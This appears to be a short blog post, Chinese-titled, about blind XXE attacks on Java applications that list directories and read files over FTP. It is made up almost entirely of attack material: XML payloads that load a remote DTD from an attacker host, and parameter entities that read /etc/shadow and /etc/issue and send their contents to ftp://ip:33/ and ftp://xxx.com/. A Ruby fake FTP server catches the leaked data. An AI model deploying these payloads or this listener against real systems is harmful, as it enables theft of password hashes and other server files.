java环境下利用blind xxe来列目录和文件读取-ftp-ghoper协议

      

        

          
            http
            :
            //web-in-security.blogspot.hk/2016/03/xxe-cheat-sheet.html
          
        
        

          
            https
            :
            //github.com/RUB-NDS/DTD-Attacks
          
        
      
    

      

        

          
            <?
            xml version
            =
            "1.0"
             encoding
            =
            "UTF-8"
            ?>
             
          
        
        

          
            <!
            DOCTYPE root 
            [
             
          
        
        

          
            <!
            ENTITY 
            %
             remote SYSTEM 
            "http://ip/evil.xml"
            >
             
          
        
        

          
            %
            remote
            ;]>
             
          
        
        

          
            <
            root
            />
             
          
        
      
    

      

        

          
            <!
            ENTITY 
            %
             file SYSTEM 
            "file:///etc/shadow"
            >
             
          
        
        

          
            <!
            ENTITY 
            %
             
            int
             
            "<!ENTITY &#37; send SYSTEM 'ftp://ip:33/%file;'>"
            >
             
          
        
        

          
            %
            int
            ;
             
          
        
        

          
            %
            send
            ;
             
          
        
      
    

      

        

          
            <!
            ENTITY 
            %
             payload SYSTEM	
            "file:///etc/issue"
            >
          
        
        

          <!
          ENTITY 
          %
           
          int
           
          "<!ENTITY &#37; trick SYSTEM 'ftp://xxx.com/%payload;'>"
          >
        
        

          %
          int
          ;
        
        

          %
          trick
          ;
        
      
    

      

        

          
            Ruby
             ftp
            .
            rb 
          
        
      
    

      

        

          
            require 
            'socket'
             
          
        
        

          
            server 
            =
             
            TCPServer
            .
            new
             
            33
             
          
        
        

          
            loop 
            do
             
          
        
        

          
              
            Thread
            .
            start
            (
            server
            .
            accept
            )
             
            do
             
            |
            client
            |
             
          
        
        

          
                puts 
            "New client connected"
             
          
        
        

          
                data 
            =
             
            ""
             
          
        
        

          
                client
            .
            puts
            (
            "220 xxe-ftp-server"
            )
             
          
        
        

          
                loop 
            {
             
          
        
        

          
                    req 
            =
             client
            .
            gets
            ()
             
          
        
        

          
                    puts 
            "< "
            +
            req 
          
        
        

          
                    
            if
             req
            .
            include
            ?
             
            "USER"
             
          
        
        

          
                        client
            .
            puts
            (
            "331 password please - version check"
            )
             
          
        
        

          
                    
            else
             
          
        
        

          
                       
            #puts "> 230 more data please!" 
          
        
        

          
                        client
            .
            puts
            (
            "230 more data please!"
            )
             
          
        
        

          
                    end 
          
        
        

          
                
            }
             
          
        
        

          
              end 
          
        
        

          
            end